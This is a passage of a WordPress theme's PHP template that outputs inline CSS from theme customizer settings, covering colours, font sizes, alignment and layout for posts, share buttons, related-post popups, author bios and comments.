            #respond #submit{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_submit_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_gdrp_fsize' ) ): ?>
            form#commentform > .comment-form-cookies-consent, form#commentform > div.penci-gdpr-message{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_gdrp_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpopup_heading_fsize' ) ): ?>
            .penci-rlt-popup .rtlpopup-heading{ font-size: <?php echo get_theme_mod( 'penci_rltpopup_heading_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpopup_title_fsize' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .rltpopup-title{ font-size: <?php echo get_theme_mod( 'penci_rltpopup_title_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpopup_date_fsize' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .date{ font-size: <?php echo get_theme_mod( 'penci_rltpopup_date_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_comments_lines' ) ): ?>
		.thecomment .comment-content {
			margin-top: 15px;
			margin-bottom: 0;
			display: -webkit-box;
			-webkit-box-orient: vertical;
			overflow: hidden;
			-webkit-line-clamp: <?php echo get_theme_mod( 'penci_post_comments_lines' ); ?>
		}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_letter_space_post_title' ) ): ?>
            .container-single .single-post-title { }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_on_uppercase_post_cat' ) ): ?>
            .container-single .cat a.penci-cat-name { text-transform: uppercase; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_remove_line' ) ): ?>
            .list-post .header-list-style:after, .grid-header-box:after, .penci-overlay-over .overlay-header-box:after, .home-featured-cat-content .first-post .magcat-detail .mag-header:after { content: none; }
            .list-post .header-list-style, .grid-header-box, .penci-overlay-over .overlay-header-box, .home-featured-cat-content .first-post .magcat-detail .mag-header{ padding-bottom: 0; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_rmbd_bottom' ) ): ?>
            .penci-grid li.list-post{ padding-bottom: 0; border-bottom: none; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp, .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp{ border-top: none; padding-top: 0; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_share_rmbd' ) ): ?>
            .penci-post-box-meta.penci-post-box-grid .penci-post-share-box{ padding: 0; background: none !important; }
            .penci-post-box-meta.penci-post-box-grid:before{ content: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_remove_line' ) ): ?>
            .header-standard:after { content: none; }
            .header-standard { padding-bottom: 0; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grihead_align' ) ):
			$gridheader_align = get_theme_mod( 'penci_grihead_align' );
			?>
            .grid-header-box,.header-list-style{ text-align: <?php echo $gridheader_align; ?> }
			<?php if ( 'left' == $gridheader_align ) { ?>
            .grid-header-box:after, .header-list-style:after, .grid-mixed .grid-header-box:after, .container .penci-grid li.magazine-layout .grid-header-box:after, .list-post .header-list-style:after, .penci-layout-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after, .list-post.list-boxed-post .header-list-style:after{ left: 0; right: auto; margin-left: 0; margin-right: 0; }
            .grid-overlay-meta .grid-header-box{ padding-left: 10px; }
            .grid-overlay-meta .grid-header-box:after, .container .penci-grid li.magazine-layout.grid-overlay-meta .grid-header-box:after{ left: 10px; }
		<?php } else if ( 'center' == $gridheader_align ) { ?>
            .grid-header-box:after, .header-list-style:after, .grid-mixed .grid-header-box:after, .container .penci-grid li.magazine-layout .grid-header-box:after, .list-post .header-list-style:after, .penci-layout-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after, .list-post.list-boxed-post .header-list-style:after{ left: 50%; margin-left: -30px; }
		<?php } else if ( 'right' == $gridheader_align ) { ?>
            .grid-header-box:after, .header-list-style:after, .grid-mixed .grid-header-box:after, .container .penci-grid li.magazine-layout .grid-header-box:after, .list-post .header-list-style:after, .penci-layout-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after, .list-post.list-boxed-post .header-list-style:after{ left: auto; right: 0; margin-left: 0; margin-right: 0; }
            .grid-overlay-meta .grid-header-box{ padding-right: 10px; }
            .grid-overlay-meta .grid-header-box:after, .container .penci-grid li.magazine-layout.grid-overlay-meta .grid-header-box:after{ right: 10px; }
		<?php } ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_griexc_align' ) ): ?>
            .penci-featured-infor .item-content, .penci-grid li .item .item-content, .penci-masonry .item-masonry .item-content, .penci-grid .mixed-detail .item-content{ text-align: <?php echo get_theme_mod( 'penci_griexc_align' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grishare_align' ) ):
			$gridshare_align = get_theme_mod( 'penci_grishare_align' );
			?>
            .penci-post-box-meta.penci-post-box-grid{ text-align: <?php echo $gridshare_align; ?>; }
			<?php if ( 'left' == $gridshare_align ) { ?>
            .penci-post-box-meta.penci-post-box-grid .penci-post-share-box{ padding-left: 0; }
		<?php } else if ( 'right' == $gridshare_align ) { ?>
            .penci-post-box-meta.penci-post-box-grid .penci-post-share-box{ padding-right: 0; }
		<?php } ?>
		<?php endif; ?>
		<?php
		if ( get_theme_mod( 'penci_post_excerpt_line' ) ) {
			?>
			.penci-grid .mixed-detail .item-content, .penci-grid li .item .item-content, .penci-masonry .item-masonry .item-content{
				overflow: hidden;
				display: -webkit-box;
				-webkit-line-clamp: <?php echo get_theme_mod( 'penci_post_excerpt_line' );?>;
						line-clamp: <?php echo get_theme_mod( 'penci_post_excerpt_line' );?>; 
				-webkit-box-orient: vertical;
			}
			<?php
		}
		if ( get_theme_mod( 'penci_standard_excerpt_line' ) ) {
			?>
			.standard-content .standard-post-entry{
				overflow: hidden;
				display: -webkit-box;
				-webkit-line-clamp: <?php echo get_theme_mod( 'penci_standard_excerpt_line' );?>;
						line-clamp: <?php echo get_theme_mod( 'penci_standard_excerpt_line' );?>; 
				-webkit-box-orient: vertical;
			}
			<?php
		}
		if ( get_theme_mod( 'penci_align_left_post_title' ) ): ?>
			.header-standard-wrapper, .penci-author-img-wrapper .author{justify-content: start;}
			.penci-body-single-style-16 .container.penci-breadcrumb,
			.penci-body-single-style-11 .penci-breadcrumb,
			.penci-body-single-style-12 .penci-breadcrumb,
			.penci-body-single-style-14 .penci-breadcrumb,
			.penci-body-single-style-16 .penci-breadcrumb,
			.penci-body-single-style-17 .penci-breadcrumb,
			.penci-body-single-style-18 .penci-breadcrumb,
			.penci-body-single-style-19 .penci-breadcrumb,
			.penci-body-single-style-22 .container.penci-breadcrumb,
			.penci-body-single-style-22 .container-single .header-standard, 
			.penci-body-single-style-22 .container-single .post-box-meta-single,
			.penci-single-style-12 .container.penci-breadcrumb,
			.penci-body-single-style-11 .container.penci-breadcrumb,
            .penci-single-style-21 .single-breadcrumb,.penci-single-style-6 .single-breadcrumb, .penci-single-style-5 .single-breadcrumb, .penci-single-style-4 .single-breadcrumb, .penci-single-style-3 .single-breadcrumb, .penci-single-style-9 .single-breadcrumb, .penci-single-style-7 .single-breadcrumb{ text-align: left; }
            .penci-single-style-12 .container.penci-breadcrumb, .penci-body-single-style-11 .container.penci-breadcrumb, .container-single .header-standard, .container-single .post-box-meta-single { text-align: left; }
            .rtl .container-single .header-standard,.rtl .container-single .post-box-meta-single { text-align: right; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_13_bgcolor' ) ): ?>
            .penci-single-style-13 .penci-post-image-wrapper { --pcaccent-cl: <?php echo get_theme_mod( 'penci_single_13_bgcolor' );?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_15_bgcolor' ) ): ?>
            .penci-single-style-15 .penci-post-image-wrapper { background: <?php echo get_theme_mod( 'penci_single_15_bgcolor' );?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_18_bgcolor' ) ): ?>
            .penci-body-single-style-18 .penci-post-content-wrapper { background: <?php echo get_theme_mod( 'penci_single_18_bgcolor' );?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_21_obgcolor' ) ): ?>
            .penci-single-style-21 .post-image::after { background-color: <?php echo get_theme_mod( 'penci_single_21_obgcolor' );?>; opacity: 0.5; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_uppercase_post_title_nav' ) ): ?>
            .container-single .post-pagination h5 { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_remove_lines_related' ) ): ?>
            #respond h3.comment-reply-title span:before, #respond h3.comment-reply-title span:after, .post-box-title:before, .post-box-title:after { content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_uppercase_post_title_related' ) ): ?>
            .container-single .item-related h3 a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_title_color' ) ): ?>
            .container-single .header-standard .post-title { color: <?php echo get_theme_mod( 'penci_single_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_subtitle_color' ) ): ?>
            .container-single .header-standard h2.penci-psub-title, .container-single h2.penci-psub-title { color: <?php echo get_theme_mod( 'penci_single_subtitle_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_color' ) ): ?>
            .container-single .post-entry .post-tags a{ color: <?php echo get_theme_mod( 'penci_single_tag_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_border' ) ): ?>
            .container-single .post-entry .post-tags a{ border-color: <?php echo get_theme_mod( 'penci_single_tag_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_bg' ) ): ?>
            .container-single .post-entry .post-tags a{ background-color: <?php echo get_theme_mod( 'penci_single_tag_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_hcolor' ) ): ?>
            .container-single .post-entry .post-tags a:hover{ color: <?php echo get_theme_mod( 'penci_single_tag_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_hborder' ) ): ?>
            .container-single .post-entry .post-tags a:hover{ border-color: <?php echo get_theme_mod( 'penci_single_tag_hborder' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_hbg' ) ): ?>
            .container-single .post-entry .post-tags a:hover{ background-color: <?php echo get_theme_mod( 'penci_single_tag_hbg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_tcolor' ) ): ?>
            .pcnew-share .penci-social-share-text,.tags-share-box.tags-share-box-2_3 .penci-social-share-text{ color: <?php echo get_theme_mod( 'penci_single_share_tcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_bgcolor' ) ): ?>
            .pcnew-share .penci-social-share-text{ background-color: <?php echo get_theme_mod( 'penci_single_share_bgcolor' ); ?>; }
            .pcnew-share .penci-social-share-text:after{border-left-color: <?php echo get_theme_mod( 'penci_single_share_bgcolor' ); ?>;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_bdcolor' ) ): ?>
            .pcnew-share .penci-social-share-text{ border-color: <?php echo get_theme_mod( 'penci_single_share_bdcolor' ); ?>; }
            .pcnew-share .penci-social-share-text:before{border-left-color: <?php echo get_theme_mod( 'penci_single_share_bdcolor' ); ?>;}
		<?php endif; ?>
		<?php
		if ( get_theme_mod( 'penci_single_share_icon_color' ) ): ?>
            .tags-share-box.tags-share-box-2_3 .post-share .count-number-like, .tags-share-box.tags-share-box-2_3 .post-share a,
            .container-single .post-share a, .page-share .post-share a { color: <?php echo get_theme_mod( 'penci_single_share_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_icon_hover_color' ) ): ?>
            .container-single .post-share a:hover, .container-single .post-share a.liked, .page-share .post-share a:hover { color: <?php echo get_theme_mod( 'penci_single_share_icon_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_number_like_color' ) ): ?>
            .tags-share-box.tags-share-box-2_3 .post-share .count-number-like,
            .post-share .count-number-like { color: <?php echo get_theme_mod( 'penci_single_number_like_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_icon_style3_bgcolor' ) ): ?>
            .tags-share-box.tags-share-box-s3 .post-share .post-share-item{ background-color: <?php echo get_theme_mod( 'penci_single_share_icon_style3_bgcolor' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_single_share_icon_style3_hbgcolor' ) ): ?>
            .tags-share-box.tags-share-box-s3 .post-share .post-share-item:hover{ background-color: <?php echo get_theme_mod( 'penci_single_share_icon_style3_hbgcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_meta_color' ) ): ?>
            .tags-share-box .single-comment-o, .post-box-meta-single span, .header-standard .post-box-meta-single .author-post span, .header-standard .post-box-meta-single .author-post span a{ color: <?php echo get_theme_mod( 'penci_single_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_breadcrumbs_hcolor' ) ): ?>
            .container.penci-breadcrumb.single-breadcrumb span a:hover,.container.penci-breadcrumb.single-breadcrumb a:hover, .penci-container-inside.penci-breadcrumb span a:hover,.penci-container-inside.penci-breadcrumb a:hover, .container.penci-breadcrumb span a:hover,.container.penci-breadcrumb a:hover{ color: <?php echo get_theme_mod( 'penci_breadcrumbs_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_smaller_width' ) ): ?>
            .penci-single-smaller-width { max-width: <?php echo get_theme_mod( 'penci_single_smaller_width' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_color_text' ) ): ?>
            .post-entry, .post-entry p{ color: <?php echo get_theme_mod( 'penci_single_color_text' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_color_links' ) ): ?>
            .post-entry a, .container-single .post-entry a{ color: <?php echo get_theme_mod( 'penci_single_color_links' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_titleline' ) ): ?>
            .pcilrp-heading{margin-bottom: 15px;}.pcilrp-heading span{padding-bottom: 0;}.pcilrp-heading span:after{content: none;display: none;}
		<?php endif; ?>

		<?php echo penci_renders_css( '.pcilrp-heading span', 'penci_inlinerp_fsheading' ); ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_fstitle' ) ): ?>
            .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a, .penci-ilrelated-posts .pcilrp-item-list a{ font-size: <?php echo get_theme_mod( 'penci_inlinerp_fstitle' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_fsmeta' ) ): ?>
            .pcilrp-meta{ font-size: <?php echo get_theme_mod( 'penci_inlinerp_fsmeta' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_bg' ) ): ?>
            .penci-ilrelated-posts{ background-color: <?php echo get_theme_mod( 'penci_inlinerp_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_border' ) ): ?>
            .penci-ilrelated-posts{ border-color: <?php echo get_theme_mod( 'penci_inlinerp_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_cheading' ) ): ?>
            .pcilrp-heading span{ color: <?php echo get_theme_mod( 'penci_inlinerp_cheading' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_cline' ) ): ?>
            .pcilrp-heading span:after{ border-color: <?php echo get_theme_mod( 'penci_inlinerp_cline' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_ctitle' ) ): ?>
            .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a, .penci-ilrelated-posts .pcilrp-item-list a{ color: <?php echo get_theme_mod( 'penci_inlinerp_ctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_hctitle' ) ): ?>
            .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a:hover, .penci-ilrelated-posts .pcilrp-item-list a:hover{ color: <?php echo get_theme_mod( 'penci_inlinerp_hctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_hcmeta' ) ): ?>
            .pcilrp-meta{ color: <?php echo get_theme_mod( 'penci_inlinerp_hcmeta' ); ?>; }
		<?php endif; ?>

		<?php for ( $pheading = 1; $pheading < 7; $pheading ++ ) { ?>
			<?php if ( get_theme_mod( 'penci_single_color_h' . $pheading ) ): ?>
                .post-entry h<?php echo $pheading; ?>{ color: <?php echo get_theme_mod( 'penci_single_color_h' . $pheading ); ?>; }
			<?php endif; ?>
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_single_bgcolor_header' ) ): ?>
            .penci-single-style-9 .penci-post-image-wrapper,.penci-single-style-10 .penci-post-image-wrapper { background-color: <?php echo get_theme_mod( 'penci_single_bgcolor_header' ); ?>; }
		<?php endif; ?>
		<?php
		// Color single
		if ( ! get_theme_mod( 'penci_move_title_bellow' ) ) {
			$single_color_title    = get_theme_mod( 'penci_single_color_title_s568' );
			$single_color_subtitle = get_theme_mod( 'penci_single_color_subtitle_s568' );
			$single_color_cat      = get_theme_mod( 'penci_single_color_cat_s568' );
			$single_color_meta     = get_theme_mod( 'penci_single_color_meta_s568' );

			if ( $single_color_title && in_array( $single_style, array( 'style-5', 'style-6', 'style-8', 'style-13', 'style-21' ) ) ) {
				echo '@media only screen and (min-width: 768px){ .container-single.penci-single-' . $single_style . ' .single-header .post-title { color: ' . esc_attr( $single_color_title ) . '; } }';
			}
			if ( $single_color_subtitle && in_array( $single_style, array( 'style-5', 'style-6', 'style-8', 'style-13', 'style-21' ) ) ) {
				echo '@media only screen and (min-width: 768px){ .container-single.penci-single-' . $single_style . ' .single-header .penci-psub-title{ color: ' . esc_attr( $single_color_subtitle ) . '; } }';
			}
			if ( $single_color_cat && in_array( $single_style, array( 'style-5', 'style-6', 'style-8', 'style-13', 'style-21' ) ) ) {
				echo '@media only screen and (min-width: 768px){ .container-single.penci-single-' . $single_style . ' .penci-single-cat .cat > a.penci-cat-name { color: ' . esc_attr( $single_color_cat ) . '; } }';
			}
			if ( $single_color_meta && in_array( $single_style, array( 'style-5', 'style-6', 'style-8', 'style-13', 'style-21' ) ) ) {

				echo '@media only screen and (min-width: 768px){';
				echo '.penci-single-' . $single_style . '.penci-header-text-white .post-box-meta-single span,';
				echo '.penci-single-' . $single_style . '.penci-header-text-white .header-standard .author-post span a{ color: ' . esc_attr( $single_color_meta ) . '; }';
				echo '}';

				if ( get_theme_mod( 'penci_single_accent_color' ) ) {
					echo '.penci-single-' . $single_style . '.penci-header-text-white .header-standard .author-post span a:hover{ color: ' . get_theme_mod( 'penci_single_accent_color' ) . '; }';
				}
			}
		}

		if ( 'style-10' == $single_style ) {
			if ( get_theme_mod( 'penci_single_color_bread_s10' ) ) {
				echo '.penci-single-style-10 .penci-container-inside.penci-breadcrumb i,.penci-single-style-10  .container.penci-breadcrumb i,
				.penci-single-style-10 .penci-container-inside.penci-breadcrumb a,';
				echo '.penci-single-style-10 .penci-container-inside.penci-breadcrumb span{ color: ' . get_theme_mod( 'penci_single_color_bread_s10' ) . ' }';
			}

			if ( get_theme_mod( 'penci_single_color_title_s10' ) ) {
				echo '.penci-single-style-10.penci-header-text-white .header-standard .post-title,';
				echo '.penci-single-style-10.penci-header-text-white .header-standard h2 a';
				echo '{ color: ' . get_theme_mod( 'penci_single_color_title_s10' ) . ' }';
			}

			if ( get_theme_mod( 'penci_single_color_subtitle_s10' ) ) {
				echo '.penci-single-style-10.penci-header-text-white .header-standard h2.penci-psub-title{ color: ' . get_theme_mod( 'penci_single_color_subtitle_s10' ) . ' }';
			}

			if ( get_theme_mod( 'penci_single_color_cat_s10' ) ) {
				echo '.penci-single-style-10.penci-header-text-white .penci-standard-cat  .cat > a.penci-cat-name { color: ' . get_theme_mod( 'penci_single_color_cat_s10' ) . '; }';
			}

			if ( get_theme_mod( 'penci_single_color_meta_s10' ) ) {
				echo '.penci-single-style-10.penci-header-text-white .post-box-meta-single span,';
				echo '.penci-single-style-10.penci-header-text-white .header-standard .author-post span a';
				echo '{ color: ' . get_theme_mod( 'penci_single_color_meta_s10' ) . ' }';

				if ( get_theme_mod( 'penci_single_accent_color' ) ) {
					echo '.penci-single-style-10.penci-header-text-white .header-standard .author-post span a:hover{ color: ' . get_theme_mod( 'penci_single_accent_color' ) . '; }';
				}
			}
		}

		$bquote_text_color   = get_theme_mod( 'penci_bquote_text_color' );
		$bquote_author_color = get_theme_mod( 'penci_bquote_author_color' );
		$bquote_bgcolor      = get_theme_mod( 'penci_bquote_bgcolor' );
		$bquote_border_color = get_theme_mod( 'penci_bquote_border_color' );

		if ( $bquote_text_color ) {
			echo '.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote) p ,.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) p,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) p,.post-entry blockquote, .post-entry blockquote p, .wpb_text_column blockquote, .wpb_text_column blockquote p{ color: ' . $bquote_text_color . ' }';
		}
		if ( $bquote_author_color ) {
			echo '.post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .woocommerce .page-description blockquote cite, .woocommerce .page-description blockquote .author{ color: ' . esc_attr( $bquote_author_color ) . ' }';
			echo '.post-entry blockquote .author span:after, .wpb_text_column blockquote .author span:after, .woocommerce .page-description blockquote .author span:after{ background-color: ' . esc_attr( $bquote_author_color ) . ' }';
		}
		if ( $bquote_bgcolor ) {
			echo '.post-entry.blockquote-style-2 blockquote{ background-color: ' . esc_attr( $bquote_bgcolor ) . ' }';
		}
		if ( $bquote_border_color ) {
			echo '.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote):before,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):before {color:'. esc_attr( $bquote_border_color ) . '}';
			echo '.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote){border-top-color:'. esc_attr( $bquote_border_color ) . ';border-bottom-color:'. esc_attr( $bquote_border_color ) . '}';
			echo '.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):before,.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):after,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):after,.post-entry.blockquote-style-2 blockquote:before{ background-color: ' . esc_attr( $bquote_border_color ) . '  }';
			echo '.post-entry blockquote::before, .wpb_text_column blockquote::before, .woocommerce .page-description blockquote:before{ color: ' . esc_attr( $bquote_border_color ) . '  }';
		}
		?>
		<?php if ( get_theme_mod( 'penci_rltpopup_hide_mobile' ) ): ?>
            @media only screen and (max-width: 479px) { .penci-rlt-popup{ display: none !important; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpopup_padding_bottom' ) ): ?>
            .penci-rlt-popup .penci-rtlpopup-content{ padding-bottom: <?php echo get_theme_mod( 'penci_rltpopup_padding_bottom' ); ?>px; }
            @media only screen and (max-width: 479px){ .penci-rlt-popup .penci-rtlpopup-content{ padding-bottom: <?php echo get_theme_mod( 'penci_rltpopup_padding_bottom' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_heading_bg' ) ): ?>
            .penci-rlt-popup .rtlpopup-heading{ background-color: <?php echo get_theme_mod( 'penci_rltpop_heading_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_heading_color' ) ): ?>
            .penci-rlt-popup .rtlpopup-heading{ color: <?php echo get_theme_mod( 'penci_rltpop_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_close_color' ) ): ?>
            .penci-rlt-popup .penci-close-rltpopup{ color: <?php echo get_theme_mod( 'penci_rltpop_close_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_bg_color' ) ): ?>
            .penci-rlt-popup{ background-color: <?php echo get_theme_mod( 'penci_rltpop_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_title_color' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .rltpopup-title{ color: <?php echo get_theme_mod( 'penci_rltpop_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_title_hover' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover{ color: <?php echo get_theme_mod( 'penci_rltpop_title_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_date_color' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .date{ color: <?php echo get_theme_mod( 'penci_rltpop_date_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_border_color' ) ): ?>
            .penci-rlt-popup .rltpopup-item{ border-color: <?php echo get_theme_mod( 'penci_rltpop_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_bg' ) ): ?>
            .post-author{ background-color: <?php echo get_theme_mod( 'penci_authorbio_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_bordercl' ) ): ?>
            .post-author, .abio-style-3 .author-img img, .abio-style-4 .author-img img{ border-color: <?php echo get_theme_mod( 'penci_authorbio_bordercl' ); ?>; }
            .post-author.abio-style-5 { --pcborder-cl: <?php echo get_theme_mod( 'penci_authorbio_bordercl' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_name_color' ) ): ?>
            .author-content h5 a{ color: <?php echo get_theme_mod( 'penci_authorbio_name_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_name_hcolor' ) ): ?>
            .author-content h5 a:hover{ color: <?php echo get_theme_mod( 'penci_authorbio_name_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_desc_color' ) ): ?>
            .author-content p{ color: <?php echo get_theme_mod( 'penci_authorbio_desc_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_social_color' ) ): ?>
            .author-content .author-social, .post-author.abio-style-5 .bio-social > a{ color: <?php echo get_theme_mod( 'penci_authorbio_social_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_social_hcolor' ) ): ?>
            .author-content .author-social:hover, .post-author.abio-style-5 .bio-social > a:hover{ color: <?php echo get_theme_mod( 'penci_authorbio_social_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnext_colors' ) ): ?>
            .post-pagination span{ color: <?php echo get_theme_mod( 'penci_prevnext_colors' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnext_ctitle' ) ): ?>
            .post-pagination a,.post-pagination.pcpagp-style-3 h5,.post-pagination.pcpagp-style-3 span{ color: <?php echo get_theme_mod( 'penci_prevnext_ctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnext_hctitle' ) ): ?>
            .post-pagination a:hover,.post-pagination.pcpagp-style-3:hover h5,.post-pagination.pcpagp-style-3:hover span{ color: <?php echo get_theme_mod( 'penci_prevnext_hctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_heading' ) ): ?>
            #respond h3.comment-reply-title span, .post-box-title{ color: <?php echo get_theme_mod( 'penci_relatedcm_heading' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_lineheading' ) ): ?>
            #respond h3.comment-reply-title span:before, #respond h3.comment-reply-title span:after, .post-box-title:before, .post-box-title:after{ background-color: <?php echo get_theme_mod( 'penci_relatedcm_lineheading' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_ctitle' ) ): ?>
            .item-related h3 a{ color: <?php echo get_theme_mod( 'penci_relatedcm_ctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_hctitle' ) ): ?>
            .item-related h3 a:hover{ color: <?php echo get_theme_mod( 'penci_relatedcm_hctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_cdate' ) ): ?>
            .item-related span.date{ color: <?php echo get_theme_mod( 'penci_relatedcm_cdate' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_author' ) ): ?>
            .thecomment .comment-text span.author, .thecomment .comment-text span.author a{ color: <?php echo get_theme_mod( 'penci_relatedcm_author' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_hauthor' ) ): ?>
            .thecomment .comment-text span.author a:hover{ color: <?php echo get_theme_mod( 'penci_relatedcm_hauthor' ); ?>; }
